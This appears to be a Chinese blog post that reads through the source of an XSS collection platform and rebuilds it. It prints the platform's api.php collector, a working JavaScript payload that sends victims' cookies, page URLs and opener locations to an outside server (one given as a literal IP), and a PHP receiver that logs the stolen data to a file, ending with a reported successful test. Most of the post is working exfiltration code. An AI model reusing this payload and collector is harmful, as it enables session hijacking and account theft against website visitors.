之前一直对XSS平台传递原理很好奇 今天抽空看了下源码

先来看index.php

index.php

<?php
/**
* index.php 默认页
* ----------------------------------------------------------------
* OldCMS,site:http://www.oldcms.com
*/
include('init.php');

$do=Val('do','GET',0);
$dos=array('index','login','project','module','code','api','do','register','user','keepsession');

if(!in_array($do,$dos)) $do='index';
include(ROOT_PATH.'/source/'.$do.'.php');
?>

index.php是个入口,定义了do传进来的参数所包含的文件
由于对目标站和XSS平台间的传递好奇,所以看下api.php

ctags插件

Sublime的一个很不错的插件 能快速定位函数调用位置

api.php

<?php
/**
* api.php 接口
* ----------------------------------------------------------------
* OldCMS,site:http://www.oldcms.com
*/
if (!defined('IN_OLDCMS')) {
die('Access Denied');
}

$id = Val('id', 'GET');
/**
Val 获得提交的值
@param $name string 参数名
@param $method string 获取途径(GET/POST/COOKIE/REQUEST)
@param $type string/int 过滤类型('string'/0=>string,'int'/1=>int,其它/2=>不过滤)
@param $isArray int 0=>非数组,1=>数组
@return $value string/int
*/

if ($id) {
$db = DBConnect();
//连接数据库
$project = $db->FirstRow("SELECT * FROM " . Tb('project') . " WHERE urlKey='{$id}'");
/* Tb 获取table name */
//取所属项目第一行
if (empty($project)) {
exit();
}
//为空跳出

//用户提供的content
$content = array();
//待接收的key
$keys = array();
/* 模块 begin */
$moduleIds = array();
if (!empty($project['modules'])) {
//模块不为空
$moduleIds = json_decode($project['modules']);
//json解码
}

if (!empty($moduleIds)) {
$modulesStr = implode(',', $moduleIds);//把moduleIds转为字符串并以,隔开
$modules = $db->Dataset("SELECT * FROM " . Tb('module') . " WHERE id IN ($modulesStr)");
//数据库查询所使用的一个或多个模块
if (!empty($modules)) {
foreach ($modules as $module) {
if (!empty($module['keys'])) {
$keys = array_merge($keys, json_decode($module['keys']));
//将待接收的location,toplocation,cookie,opener和模块的location,toplocation,cookie,opener组合成一个数组
}

}
}
}
/* 模块 end */
foreach ($keys as $key) {
$content[$key] = Val($key, 'REQUEST');
//接收location,toplocation,cookie,opener并赋值给$content
}
if (in_array('toplocation', $keys)) {
$content['toplocation'] = !empty($content['toplocation']) ? $content['toplocation'] : $content['location'];
//toplocation判断是否为空,为空则location否则为接收到的toplocation的值
}

$judgeCookie = in_array('cookie', $keys) ? true : false;
//判断cookies是否存在于数组中
/* cookie hash */
$cookieHash = md5($project['id'] . '_' . $content['cookie'] . '_' . $content['location'] . '_' . $content['toplocation']);
//将项目id,接收的cookie,location,toplocation经过MD5后赋值给cookieHash
$cookieExisted = $db->FirstValue("SELECT COUNT(*) FROM " . Tb('project_content') . " WHERE projectId='{$project[id]}' AND cookieHash='{$cookieHash}'");
//获取项目中的内容数量
if (!$judgeCookie || $cookieExisted <= 0) {//如果不存在这条cookie或hash不存在则执行
//服务器获取的content
$serverContent = array();
$serverContent['HTTP_REFERER'] = $_SERVER['HTTP_REFERER'];
//获取返回路径
$referers = @parse_url($serverContent['HTTP_REFERER']);
//获取http
$domain = $referers['host'] ? $referers['host'] : '';
//返回域名
$domain = StripStr($domain);
//过滤处理域名
$serverContent['HTTP_REFERER'] = StripStr($_SERVER['HTTP_REFERER']);
$serverContent['HTTP_USER_AGENT'] = StripStr($_SERVER['HTTP_USER_AGENT']);
$serverContent['REMOTE_ADDR'] = StripStr($_SERVER['HTTP_X_FORWARDED_FOR']);
$values = array(
'projectId' => $project['id'],
'content' => JsonEncode($content),
'serverContent' => JsonEncode($serverContent),
'domain' => $domain,
'cookieHash' => $cookieHash,
'num' => 1,
'addTime' => time(),
);
$db->AutoExecute(Tb('project_content'), $values);
//根据AutoExecute函数判断自动执行更新或插入
} else {
$db->Execute("UPDATE " . Tb('project_content') . " SET num=num+1,updateTime='" . time() . "' WHERE projectId='{$project[id]}' AND cookieHash='{$cookieHash}'");
//如果hash存在则执行同一项目的更新(增加)
}

header("Location: $_SERVER[HTTP_REFERER] ");
//返回来路地址
}
?>

JS

读完接口文件看看JS

(function() {
(new Image()).src = 'http://XXX.XXX.XXX.XXX/test.php?location=' + escape((function() {
/**
* 新建图片,图片资源地址为你的XSS平台的接口地址
* 对下列内容编码
* 1、访问的完整路径
* 2、cookie
* 3、父页面对象
*/
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
if ('' == 1) {
keep = new Image();
keep.src = 'http://47.100.191.127/test.php?url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

测试

至此对XSS平台传递原理有了大概了解,手头上正好有外网服务器,做个测试

<?php
/**
* 获取信息测试
*
*/
$cookie = $_GET['cookie'];
$refer = $_SERVER['HTTP_REFERER'];
$location = $_GET['location'];
$toplocation = $_GET['toplocation'];
$url = $_GET['url'];
$time = date("Y-m-d H:i:s");
$testfile = fopen("xsstest.txt", "w") or die("文件打开失败!");
$txt = "Cookies:" . $cookie . "\r\n" . "Refer:" . $refer . "\r\n" . "location:" . $location . "\r\n" . "Toplocation:" . $toplocation . "\r\n" . "Time:" . $time . "\r\n";
fwrite($testfile, $txt);
fclose($testfile);
?>

本地写个文件

<script>
(function() {
(new Image()).src = 'http://XXXXX/test.php?location=' + escape((function() {
/**
* 新建图片,图片资源地址为你的XSS平台的接口地址
* 对下列内容编码
* 1、访问的完整路径
* 2、cookie
* 3、父页面对象
*/
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
if ('' == 1) {
keep = new Image();
keep.src = 'http://XXXXX/test.php?url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
</script>

访问后不出意外会在服务器目录下生成xsstest.txt文件并记录相关信息


成功